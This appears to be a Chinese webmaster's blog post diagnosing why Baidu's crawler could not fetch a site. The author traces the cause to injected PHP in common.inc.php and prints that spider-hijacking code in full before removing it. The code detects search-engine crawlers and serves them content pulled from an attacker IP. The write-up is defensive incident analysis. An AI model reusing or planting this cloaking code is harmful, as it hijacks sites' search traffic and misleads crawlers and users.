前沿
今天一个网站关键词和收录掉成渣,立马打开百度站长平台去抓取了一下,一共抓取了20多个页面,包括首页在内,显示如图内容,(有时候也会出现HTTP/1.1 040这个搞不懂的状态码)而全球地区用户打开正常,就百度蜘蛛抓取不了!
解决方案
A:解决思路的猜想
1.首先下载全站源码,进行杀毒,看网站是否被黑。
2.更换服务器,验证服务器是否中毒。
3.检查网站源码,验证是否有”正常”的劫持代码,感谢搜外同学@纷纭 也提供了帮助
B:实际操作
1.下载完源码杀毒—无异常
2.将下载的源码上传到新服务器—-问题依然存在
3.检查网站代码,流程如下
下载接口测试工具:https://www.281050.com/4038.html
从这里基本可以确定,网站源码异常,蜘蛛被人判断劫持,然后全站检索 “baidu”字段,同时手动检查源码,果然,在根目录下common.inc.php文件中发现如下代码:
/*注释符号是我自己加的,请忽略 set_time_limit(30); error_reporting(0); defined('url') or define('url',$_SERVER['REQUEST_URI']); defined('ref') or define('ref',$_SERVER['HTTP_REFERER']); defined('ent') or define('ent',$_SERVER['HTTP_USER_AGENT']); defined('site') or define('site','http://156.226.52.130'); defined('road') or define('road',"/?road=".$_SERVER['HTTP_HOST'].url."&der=".ent); defined('regs') or define('regs','@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i'); $format=[".xml",".doc",".pdf",".txt",".ppt",".pptx",".xls",".csv",".shtml",".docx",".xlsx"]; foreach($format as $k => $v){ if(stristr(url,$v)) { $bool=TRUE; break; }else{ $bool=FALSE; } } defined('area') or define('area',$bool); if(area && preg_match(regs,ref)){ echo g1('http://156.226.52.130/404.html'); exit; } if(preg_match(regs,ent)){ if(area){echo g1(site.road); exit; }else{ echo g1("http://156.226.52.130/u.php"); ob_flush(); flush(); } } function g1($f){ $c=array('http'=>array('method'=>"GET")); $g=stream_context_create($c); $h=file_get_contents($f,false,$g); if(!empty($h)){ return $h; } } */
删掉代码,接口测试工具测试正常,百度站长工具抓取测试正常,其原因就是[156.226.52.130]这个是黑客的目标IP,无法访问,导致蜘蛛卡懵逼,所以出现504 Gateway Time-out,嗯,要是他IP正常,或许我就死得悄无声息!
漏洞追踪及防护
待更新…..
相关服务